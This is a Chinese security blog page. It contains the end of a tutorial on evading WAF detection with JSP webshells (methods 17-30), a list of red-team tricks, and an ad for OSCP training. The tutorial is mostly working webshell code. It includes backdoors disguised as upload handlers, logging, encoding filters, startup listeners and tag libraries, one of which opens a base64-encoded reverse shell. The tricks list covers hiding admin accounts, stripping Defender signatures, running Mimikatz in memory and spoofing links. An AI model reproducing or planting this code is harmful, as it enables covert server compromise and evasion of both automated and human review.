实战代码(JSP形式,需引入Javassist库):<%@ page import="javassist.*" %> <% ClassPool pool = ClassPool.getDefault(); // 动态创建类 CtClass cc = pool.makeClass("TempClass"); // 添加静态方法 CtMethod m = CtNewMethod.make( "public static void run(String cmd) throws Exception {" + "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" + "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" + "}", cc); cc.addMethod(m); // 加载类并执行 Class<?> c = cc.toClass(); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本,需引入Javassist库(可将jar放入Web容器的lib目录) 避坑提示:可在动态生成的类中加入大量无关方法,混淆字节码特征。方法18:ASM字节码操作免杀免杀原理:利用ASM库(Java底层字节码操作库),直接生成字节码指令,没有任何Java源码特征,是对抗高级沙箱检测的终极方案之一。 实战代码(JSP形式,需引入ASM库):<%@ page import="org.objectweb.asm.*" %> <% // 用ASM直接生成TempClass的字节码(简化示例) ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "TempClass", null, "java/lang/Object", null); // 生成run方法(完整字节码生成较复杂,这里简化,实战中可用ASMifier工具生成) // ... 省略字节码生成细节 ... cw.visitEnd(); byte[] classBytes = cw.toByteArray(); // 加载并执行 ClassLoader cl = new ClassLoader() { public Class<?> defineClass(byte[] b) { return defineClass(b, 0, b.length); } }; Class<?> c = cl.defineClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本,需引入ASM库 避坑提示:可用ASMifier工具从正常class文件生成ASM代码,再插入恶意逻辑,字节码特征更真实。方法19:Unsafe类直接操作免杀(限制较多)免杀原理:利用sun.misc.Unsafe类(Java内部不安全类)直接操作内存、调用方法,完全绕过Java的安全机制,特征极少(但Unsafe限制多,实战中需谨慎)。 实战代码(JSP形式,Java 8-):<% // 反射获取Unsafe对象 Class<?> unsafeCls = Class.forName("sun.misc.Unsafe"); java.lang.reflect.Field f = unsafeCls.getDeclaredField("theUnsafe"); f.setAccessible(true); Object unsafe = f.get(null); // 后续用Unsafe操作内存执行代码(逻辑较复杂,这里不展开完整实现) // 实战中Unsafe多用于绕过安全管理器,配合其他免杀方法使用 %> 适配环境:Java 8-(Java 9+模块化后Unsafe限制更严格) 避坑提示:Unsafe限制多、兼容性差,实战中仅作为辅助方案,不推荐单独使用。方法20:动态生成Servlet免杀免杀原理:在内存中动态生成Servlet类,注册到Web容器的ServletContext中,通过访问动态Servlet执行恶意代码,伪装成Web容器的正常Servlet,极难被发现。 实战代码(JSP形式,Tomcat环境):<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <% // 简化示例:获取Tomcat的StandardContext,动态注册Servlet // 完整实现需生成Servlet类字节码,这里仅展示注册逻辑 ServletContext ctx = application; // Tomcat特定逻辑:获取StandardContext Field ctxField = ctx.getClass().getDeclaredField("context"); ctxField.setAccessible(true); StandardContext standardCtx = (StandardContext) ctxField.get(ctx); // 动态创建Servlet Wrapper(需配合动态生成的Servlet类) // Wrapper wrapper = standardCtx.createWrapper(); // wrapper.setServletClass("TempServlet"); // standardCtx.addChild(wrapper); // standardCtx.addServletMappingDecoded("/temp", "TempServlet"); %> 适配环境:Tomcat等特定Web容器 避坑提示:动态Servlet注册逻辑依赖Web容器的内部API,兼容性较差,实战中需针对目标容器适配。第五类:合法业务逻辑伪装免杀(方法21-25)核心逻辑:把恶意代码藏在合法的业务逻辑中,比如文件上传、图片处理、日志记录、过滤器、监听器等,代码看起来完全是正常的业务功能,不仅能绕过WAF,还能规避人工排查,是红蓝对抗中持久化的常用方案。方法21:伪装成文件上传处理免杀免杀原理:把恶意代码藏在文件上传的处理逻辑中,伪装成图片压缩、文件校验等正常功能,只在特定条件下(比如上传特定文件名、特定参数)触发恶意执行。 实战代码(JSP形式,伪装成图片上传):<%@ page import="java.io.*" %> <% // 伪装成图片上传处理 String filename = request.getParameter("filename"); if(filename != null && filename.equals("trigger.jpg")){ // 特定条件触发恶意代码 Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); } else { // 正常的文件上传处理逻辑 out.println("正常文件上传处理"); } %> 适配环境:全Java版本+主流Web容器 避坑提示:正常业务逻辑要尽量真实,比如真的实现文件保存、图片格式校验,避免被人工发现。方法22:伪装成日志记录免杀免杀原理:把恶意代码藏在日志记录的逻辑中,伪装成访问日志、错误日志的记录功能,在日志输出时触发恶意执行。 实战代码(JSP形式,伪装成访问日志):<%@ page import="java.util.Date" %> <% // 伪装成访问日志记录 String ip = request.getRemoteAddr(); String ua = request.getHeader("User-Agent"); Date d = new Date(); // 正常日志记录逻辑 out.println("[" + d + "] " + ip + " " + ua); // 特定User-Agent触发恶意代码 if(ua != null && ua.contains("TriggerUA")){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); } %> 适配环境:全Java版本+主流Web容器 避坑提示:可真的把日志写入文件,伪装性更强。方法23:过滤器Filter免杀免杀原理:把恶意代码写在Servlet Filter的doFilter()方法中,伪装成安全过滤、字符编码过滤等正常功能,随每个请求触发,隐蔽性极强,是持久化的常用方案。 实战代码(Filter形式,需在web.xml配置):// 伪装成字符编码过滤器 import javax.servlet.*; import java.io.IOException; public class EncodingFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {} @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 正常的字符编码设置 request.setCharacterEncoding("UTF-8"); response.setCharacterEncoding("UTF-8"); // 特定参数触发恶意代码 String cmd = request.getParameter("cmd"); if(cmd != null && request.getParameter("key") != null && request.getParameter("key").equals("auth123")){ try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } // 继续过滤器链 chain.doFilter(request, response); } @Override public void destroy() {} } 适配环境:全Java版本+主流Web容器 避坑提示:Filter类名要尽量真实,比如EncodingFilter、SecurityFilter,需在web.xml中正常配置,避免被发现。方法24:监听器Listener免杀免杀原理:把恶意代码写在ServletContextListener的contextInitialized()方法中,随Web容器启动自动执行,或者在sessionCreated()中随会话触发,隐蔽性极强,是持久化的高级方案。 实战代码(Listener形式,需在web.xml配置):// 伪装成容器启动监听器 import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; public class StartupListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { // 正常的容器初始化逻辑 sce.getServletContext().log("容器启动成功"); // 容器启动时执行恶意代码(比如反弹Shell) try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}"); } catch (Exception e) {} } @Override public void contextDestroyed(ServletContextEvent sce) {} } 适配环境:全Java版本+主流Web容器 避坑提示:Listener类名要尽量真实,比如StartupListener、ConfigListener,需在web.xml中正常配置。方法25:JSP标签库伪装免杀免杀原理:自定义JSP标签库,把恶意代码写在标签处理类中,在JSP页面中用正常的标签语法调用,看起来完全是合法的JSP标签,极难被识别。 实战代码(标签处理类+JSP调用):// 自定义标签处理类 import javax.servlet.jsp.tagext.SimpleTagSupport; import java.io.IOException; public class MyTag extends SimpleTagSupport { private String key; public void setKey(String key) { this.key = key; } @Override public void doTag() throws IOException { // 正常的标签逻辑 getJspContext().getOut().println("正常标签输出"); // 特定key触发恶意代码 if("auth123".equals(key)){ try { String cmd = getJspContext().getRequest().getParameter("cmd"); Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } } } <%-- JSP页面调用标签 --%> <%@ taglib prefix="my" uri="/WEB-INF/mytag.tld" %> <my:myTag key="auth123" /> 适配环境:全Java版本+主流Web容器 避坑提示:需配套编写真实的tld标签库描述文件,标签功能要尽量真实。第六类:协议特性与无特征免杀(方法26-30)核心逻辑:极致免杀,去掉所有固定的request.getParameter("cmd")特征,利用HTTP协议特性、JSP隐式对象、输入流等隐藏用户输入,绕过几乎所有WAF的静态、语义检测,适用于严格防护的实战环境。方法26:HTTP请求头免杀免杀原理:把执行命令藏在HTTP请求头中(比如X-CMD、User-Agent),代码中没有任何request.getParameter()特征,WAF很难检测请求头中的恶意内容。 实战代码(JSP形式):<% String cmd = request.getHeader("X-CMD"); String auth = request.getHeader("X-Auth"); if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式:客户端在HTTP请求头中加入X-Auth: auth123和X-CMD: 执行命令 适配环境:全Java版本+主流Web容器 避坑提示:可使用User-Agent、Cookie、Referer等常规请求头存储命令,伪装性更强。方法27:Cookie免杀免杀原理:把执行命令藏在Cookie中,加密存储,代码中解密执行,没有直接的用户输入特征,WAF很难检测Cookie中的加密内容。 实战代码(JSP形式):<%@ page import="java.util.Base64" %> <% Cookie[] cookies = request.getCookies(); String cmd = null; String auth = null; if(cookies != null){ for(Cookie c : cookies){ if("c".equals(c.getName())) cmd = new String(Base64.getDecoder().decode(c.getValue())); if("a".equals(c.getName())) auth = c.getValue(); } } if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式:客户端设置Cookie a=auth123和c=Base64编码的命令 适配环境:全Java版本+主流Web容器 避坑提示:可使用更复杂的加密算法(比如异或、AES)替代Base64,免杀效果更强。方法28:request.getInputStream()免杀免杀原理:利用JSP隐式对象request.getInputStream()读取HTTP请求体中的原始数据,执行代码,没有任何GET/POST参数特征,WAF很难匹配到固定的输入模式。 实战代码(JSP形式):<%@ page import="java.io.*" %> <% // 读取请求体原始数据 InputStream is = request.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buf = new byte[1024]; int len; while((len = is.read(buf)) != -1) baos.write(buf, 0, len); String data = new String(baos.toByteArray()); // 简单的协议:前6位是auth,后面是命令 if(data.length() > 6 && data.startsWith("auth123")){ String cmd = data.substring(6); Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式:客户端在HTTP请求体中写入auth123执行命令,POST提交 适配环境:全Java版本+主流Web容器 避坑提示:可对请求体数据做加密、压缩处理,进一步隐藏特征。方法29:Session存储免杀免杀原理:把执行命令藏在Session中,第一个请求存入Session,第二个请求触发执行,代码中没有直接的实时用户输入,特征更少。 实战代码(JSP形式):<% String action = request.getParameter("a"); if("set".equals(action)){ // 第一个请求:存入命令到Session session.setAttribute("cmd", request.getParameter("c")); session.setAttribute("auth", request.getParameter("k")); } else if("run".equals(action)){ // 第二个请求:从Session取出执行 String cmd = (String) session.getAttribute("cmd"); String auth = (String) session.getAttribute("auth"); if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); // 执行后清除Session session.removeAttribute("cmd"); session.removeAttribute("auth"); } } %> 使用方式:先访问?a=set&k=auth123&c=命令,再访问?a=run触发执行 适配环境:全Java版本+主流Web容器 避坑提示:可设置Session过期时间,避免长期留存痕迹。方法30:无敏感类名命令执行(反射调用内部类)免杀原理:完全去掉Runtime、ProcessBuilder等敏感类名,通过反射调用Java内部的ProcessImpl类(进程实现类),或者用Java 9+的ProcessHandle,没有任何公开的敏感类特征,是对抗高级WAF的终极方案。 实战代码(JSP形式,反射调用ProcessImpl):<% // 反射调用Java内部类ProcessImpl(仅作示例,不同JDK版本ProcessImpl路径可能不同) Class<?> piCls = Class.forName("java.lang.ProcessImpl"); // 反射调用start方法(不同JDK版本参数可能不同) java.lang.reflect.Method m = piCls.getDeclaredMethod("start", String[].class, String[].class, String.class, java.lang.ProcessBuilder.Redirect[].class, boolean.class); m.setAccessible(true); // 执行命令 m.invoke(null, new String[]{"/bin/sh", "-c", request.getParameter("cmd")}, null, null, null, false); %> 适配环境:特定JDK版本(需根据目标JDK调整ProcessImpl的调用) 避坑提示:可配合Java版本动态判断,选择对应的内部类调用方式,兼容性更好。实战免杀核心原则 拒绝直接使用公开Payload:所有公开的免杀方法都会被WAF快速收录,实战中必须组合2-3种方法做自定义变形,生成专属Payload,才能保证免杀效果; 最小化特征原则:能少用一个敏感关键词,就少用一个;能隐藏的执行逻辑,就绝不直接暴露; 适配目标环境:先确认目标Web容器、JDK版本,选择对应兼容的免杀方法,避免使用目标环境废弃的API; 合法业务伪装优先:尽量把恶意代码藏在合法的业务逻辑中,不仅能绕过WAF,还能规避人工排查,是红蓝对抗的首选; 本地测试优先:所有Payload必须先在本地搭建的目标环境(相同JDK、Web容器、WAF)中测试通过,再放到实战环境使用,避免暴露攻击特征。 最终合规红线再次强调:本文所有技术仅用于授权范围内的安全测试与研究,任何未授权在他人Web容器、服务器中植入恶意代码、实施攻击的行为,均属于违法犯罪行为。网络不是法外之地,所有操作必须严格遵守国家相关法律法规。
2026年04月16日
757 阅读
0 评论
0 点赞
2026-04-15
红队150+工具集RedTeam-Tools 使用教程
红队实战技巧向红队老手取经——这里收集了一堆红队实战技巧,覆盖了各种战术、工具和方法论,拿来就能提升你的红队水平。利用鼠标事件改进HTML走私'Qakbot在HTML走私附件里加了鼠标移动事件监听,沙箱里不挪鼠标压缩包就不弹出来。'利用谷歌翻译搞钓鱼钓鱼页面通过谷歌翻译的页面预览功能做代理转发,骗取受害者输入的凭据。隐藏本地管理员账户reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f'搞持久化创建账号容易被蓝队发现。但你可以用注册表里的小魔法把本地管理员账号藏起来。'删签名废掉Windows Defender"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All'做法有点粗暴,但如果Windows Defender让你头疼得不行,别直接关(会弹告警),删掉签名文件就行。'开启多用户RDP会话reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f'有时候你想RDP登录一台机器,但那个用户已经有活动会话了。开启多用户会话就能解决。'Sysinternals PsExec的本地替代wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "'横向移动的时候还要上传Sysinternals PsExec.exe,烦不烦?Windows系统里自带了一个更好用的替代品。试试这个。'活在 Land 的端口扫描器0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$_)) "Port $_ open"} 2>$null'能用系统自带就别往机器上扔工具(原因多了去了)。PowerShell和.NET都能帮上忙。比如这个用PowerShell写的简易端口扫描器。'感知代理的PowerShell下载$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")'现在大企业基本都架了Web代理,标准PowerShell下载摇篮不走代理,这个版本能感知代理。'从浏览器书签找内网端点type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"'光看用户的浏览器书签就能找到不少好东西,比如他们能访问的那些内部系统地址。'查DNS记录做信息收集Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>'信息收集占了95%的活。但疯狂扫环境动静太大,不如直接跟DC/DNS服务器要一份完整的DNS记录?'不用PowerUp查无引号服务路径Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name'不用PowerUp也能找到无引号服务路径'用/k绕过禁用的CMD# Win+R(调出运行框) cmd.exe /k "whoami"'管理员已禁用命令提示符...' 这种提示在Kiosk电脑之类的环境里挺常见。快速绕过的方法是通过Windows运行框加/k参数,命令照样执行,弹完限制提示也就完事了。'不让Defender删mimikatz.exe(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv'Windows Defender老删你mimikatz.exe,烦不烦?试试这个替代方案。'检测是否在虚拟机里reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"'想知道自己是不是在虚拟机里?查注册表就行了!!!只要搜出结果,就说明你在虚拟机里。'枚举AppLocker规则(Get-AppLockerPolicy -Local).RuleCollections Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\'AppLocker有时候挺烦人的,先枚举看看它到底有多烦。'用画图6像素搞出CMD快捷方式打开MSPAInt.exe,画布尺寸设为:宽=6像素,高=1像素放大画布,方便操作用取色器,从左到右依次设置每个像素的RGB值:1st: R: 10, G: 0, B: 02nd: R: 13, G: 10, B: 133rd: R: 100, G: 109, B: 994th: R: 120, G: 101, B: 465th: R: 0, G: 0, B: 1016th: R: 0, G: 0, B: 0保存为24位位图(.bmp;.dib)把扩展名从bmp改成bat,然后运行。'一种不太常见但很管用的拿shell方法——在微软画图里用特定颜色画几个像素,就能生成一个指向cmd.exe的快捷方式。BMP文件的编码算法有漏洞可钻,精心挑选RGB颜色值就能往文件里写入指定的ASCII数据。'PreventDefault JavaScript链接欺骗<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>PreventDefault Example</title> </head> <body> <a href="https://google.com" onclick="event.preventDefault(); window.location.href = 'https://bing.com';">Go to Google</a> </body> </html>已经有威胁行为者用这招来骗受害者点击伪造的恶意下载链接。利用JavaScript的PreventDefault方法,鼠标悬停时显示的是google.com这种正常链接,但一点下去就被重定向到攻击者的恶意链接bing.com。用来诱导受害者从你控制的站点下载payload相当好用。'用Responder测SMB防火墙规则Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"'做失陷评估的时候,我经常问客户能不能最后做个快速检查:Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"。要是Responder能抓到哈希,说明防火墙放行了出站SMB连接。''用SysInternals PsSuspend干AV用微软Sysinternals工具PsSuspend.exe可以挂起某些杀软的服务进程。这个微软签名工具接收PID或服务名,然后通过NtSuspendProcess这个Windows API把进程挂起。'侦察spiderfootSpiderFoot是一款开源情报(OSINT)自动化工具,几乎对接了市面上所有能用的数据源,还内置了多种数据分析方法,查出来的信息一目了然。SpiderFoot既可以进攻用(比如红队演练或渗透测试时做目标侦察),也可以防守用——看看你或你的组织在互联网上到底暴露了哪些东西。安装:wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz tar zxvf v4.0.tar.gz cd spiderfoot-4.0 pip3 install -r requirements.txt完整安装说明见这里。使用方法:Python3 ./sf.py -l 127.0.0.1:5001大量用法教程视频见这里reconftwreconFTW把整个信息收集流程全自动化了。子域名枚举、各种漏洞检查、目标信息最大化获取——一条龙搞定,效率远超手工操作。安装:Git clone https://github.com/six2dez/reconftw.git;cd reconftw/;./install.sh完整安装说明见这里。使用方法:# 单目标域名 ./reconftw.sh -d target.com -r # 一个目标,多个域名 ./reconftw.sh -m target -l domAIns.txt -r # 被动侦察 ./reconftw.sh -d target.com -p # 执行所有检查和漏洞利用 ./reconftw.sh -d target.com -a完整使用说明见这里。subzy子域名接管检测工具,基于can-i-take-over-xyz的响应指纹匹配来工作。安装:go install -v Github.com/PentestPad/subzy@latest完整安装说明见这里。使用方法:# 子域名列表 ./subzy run --targets list.txt # 单个或多个目标 ./subzy run --target test.google.com ./subzy run --target test.google.com,https://test.yahoo.comsmtp-user-enum通过VRFY、EXPN和RCPT命令枚举SMTP用户,内置了智能超时、重试和重连机制。安装:pip install smtp-user-enum使用方法:smtp-user-enum [options] -u/-U host port smtp-user-enum --help smtp-user-enum --versioncrt.sh -> httprobe -> EyeWitness我拼了一条bash命令,一条龙搞定:从证书透明度日志被动收集子域名列表(crt.sh)主动请求每个子域名验证存活(httprobe)给每个子域名截图供人工审查(EyeWitness)使用方法:domAIn=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; Python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web注意:需要安装httprobe、pup和EyeWitness,并把'DOMAIN_COM'改成目标域名。如果有多个目标根域名,可以在多个终端窗口并发跑。jsendpoints一个JavaScript书签工具,用于提取网页上所有的API端点链接。由@renniepak创建,这段JavaScript代码可以从当前网页DOM中提取所有端点(以/开头的路径),包括网页中嵌入的所有外部脚本资源。JavaScript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();用法(书签)创建一个书签……右键点击书签栏点击'添加页面'把上面的JavaScript粘贴到'网址'框里点击'保存'……然后浏览器访问目标页面,点击这个书签就行了。用法(控制台)把上面的JavaScript粘贴到控制台窗口(F12),回车执行。nuclei快速漏洞扫描器,使用.yaml模板来搜索特定类型的安全问题。安装:go install -v Github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest使用方法:cat domAIns.txt | nuclei -t /PATH/nuclei-templates/certSniffcertSniff是我用Python写的证书透明度日志关键词监控工具。它用certstream库来监控包含指定关键词的证书创建日志。设置好跟目标域名相关的关键词让它跑着,一旦有新证书创建就会被记录下来,说不定就能发现你之前不知道的子域名。安装:Git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt使用方法:Python3 certSniff.py -f example.txtgobuster对目标网站进行文件和目录路径爆破的好工具。安装:sudo apt install gobuster使用方法:gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20feroxbuster专为强制浏览(Forced Browsing)攻击设计的工具——目标是枚举和访问那些Web应用没有显式引用、但攻击者仍然能访问的资源。Feroxbuster用字典暴力搜索目标目录下未被链接的内容。这些资源里可能藏着Web应用和操作系统的敏感信息,比如源码、凭据、内网地址等等……安装(Kali):sudo apt update && sudo apt install -y feroxbuster安装:(Mac)curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash安装(Windows):Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip Expand-Archive .\feroxbuster.zip .\feroxbuster\feroxbuster.exe -V完整安装说明见这里。使用方法:# 为每个URL添加.pdf、.js、.html、.php、.txt、.json和.docx扩展名 ./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx # 带请求头扫描 ./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}" # 从标准输入读取URL cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files # 通过BurpSuite代理请求 ./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080完整用法示例见[这里](https://epi052.github.io/feroxbuster-docs/docs/examples/)。 CloudBrute用来在主流云平台上(亚马逊、谷歌、微软、DiGitalOcean、
2026年04月15日
1,531 阅读
0 评论
0 点赞
2026-04-11
泷羽Sec红队培训,OSCP+国际渗透测试专家中级认证
泷羽 Sec 团队专注红队教学与 OSCP 培训,在 B 站免费提供从基础到内网渗透的课程,适合各类学习者。团队的泷老师是资深红队队长,持有 OSEP、CISSP、OSCP 等高含金量证书,教学有保障。课程分析是一个以OSCP 实战与证书通过为目标,兼顾红队实战技巧与攻防思维的系统化培训。课程由理论课件(20 章 PDF)+ 大量逐日/逐机实战视频(day1–day72 等靶机/专题)组成,形成“知识讲解 → 工具演示 → 靶机实操 → 复盘总结”的闭环训练体系。覆盖范围:从基础信息收集、端口/服务扫描、Web/SQL 注入、客户端攻击、密码学、到本地提权(Windows/Linux)、端口转发与隧道、免杀、Metasploit、Active Directory(AD)枚举与高级域攻击(Kerberoast、AS-REP、票据伪造、DCSync 等)、横向移动、持久化,以及综合靶机演练与考证策略。实战资源:视频目录包含大量实操靶机,覆盖单机与域环境、应用漏洞与二进制漏洞、容器与特殊平台(Node)等真实场景。教学逻辑:讲解工具原理与命令(例如 nmap、gobuster、Burp、msf、mimikatz、BloodHound、socat、chisel、dnscat2、hashcat 等),再以视频靶机练习验证与巩固,最后通过“组合模拟攻击”训练完整攻防链路。课程亮点(为什么值得学)体系齐全、衔接明确:从入门到域渗透、从漏洞利用到免杀,课程覆盖 OSCP 考试和实战常见能力点。大量靶机练习:视频库丰富,实战场景真实,便于把理论迅速落地。工具和命令详尽:每章均有具体命令与工具用法示例,便于学员复制复现。重视提权与域攻防:Windows/Linux 提权、AD 认证攻击与横向移动讲解详尽,是通过高级靶机与企业级模拟的关键能力。实战闭环训练:第19/24章将技术串联为完整攻防流程,适合考试演练与项目实战。课程说明(面向谁、学完能做什么、考证对接)面向人群想通过 OSCP 或提升渗透测试实战能力的学员。有一定 Linux/网络基础,或愿意投入时间补基础的进阶学习者。企业安全人员、红队/蓝队工程师、CTF 选手希望系统化提升实战技能者。前置要求熟悉 Linux 基本命令、Windows 基本管理操作。对网络协议(TCP/IP、HTTP、DNS)有初步理解。基本编程或脚本能力(bash、PowerShell、Python)有助于快速吸收。学习目标(学完后你能)独立完成一次单机靶机的完整渗透测试:信息收集 → 漏洞利用 → 本地提权 → 清理痕迹。在有权限的企业 AD 环境中进行枚举、Kerberoast/AS-REP 等认证攻击、票据/传递/横向移动并可能获取域控(仅限授权实验室)。使用常用渗透工具(nmap、Burp、sqlmap、msf、mimikatz、BloodHound、socat、chisel 等)并能根据现场情况灵活组合。修改和调试 exploit、生成与混淆 payload(基础免杀)、在被防护环境下做端口转发与隧道穿透。针对 OSCP 考试场景掌握应试策略(如实操习惯、复盘方法、时间与任务分配、工具限制下的手工技巧)。与 OSCP 的对接课程重点与 OSCP 常考点高度一致:手工漏洞利用、提权、内网横向、复盘报告写作等。课程中的大量OSCP专属靶机视频非常适合 OSCP 的练习与模拟考试。注意 OSCP 考试要求的道德与授权差异:考试环境只允许对授权靶场/练习机使用,不允许攻击真实无授权目标。课程主讲:泷老师前高级红队队长配合公安打过多起案件,7年红队经验目前任职某知名安全大厂红队持有OSEP,CISSP,OSCP国际渗透测试顶级认证证书,有望冲刺OSCE3曾多次带队拿下国护前三名课程助教白小羽,泷羽Sec作者:V:baibaixiaoyu2024关于通过率目前针对于已经报名OSCP+ 官方offsec考试的学员是100%通过率,我们团队有师傅精通免杀,有师傅精通src,有师傅精通红队渗透,有师傅全栈前后端开发,各有所长3999元只是我们认识的开始,服务永不停止最新OSCP+认证课程大纲下载地址下载地址学员对我们的评价另外我们并不鼓励我们的学员贷款或者找别人借钱上课或者考证,能白嫖尽量白嫖下面是一位我们学员在龙老师的指导下在校就通过osep认证的学员,一对一的就业推荐下面是招聘方视角通过我们指导拿下offer数不胜数了,这位是我们的”大师兄“,目前在北京实习关于hvv我们也有靠谱的渠道,不用担心去当免费劳动力关于自媒体,若您发布的文章很有价值,我们会帮您转发您的文章以及作品/工具。。。。。。。。。。。等等案例就不放出来了3999,只是我们认识的开始,服务用不停止,泷羽Sec安全团队唯一官网,https://longyusec.com
2026年04月11日
1,692 阅读
0 评论
0 点赞
1
2
...
14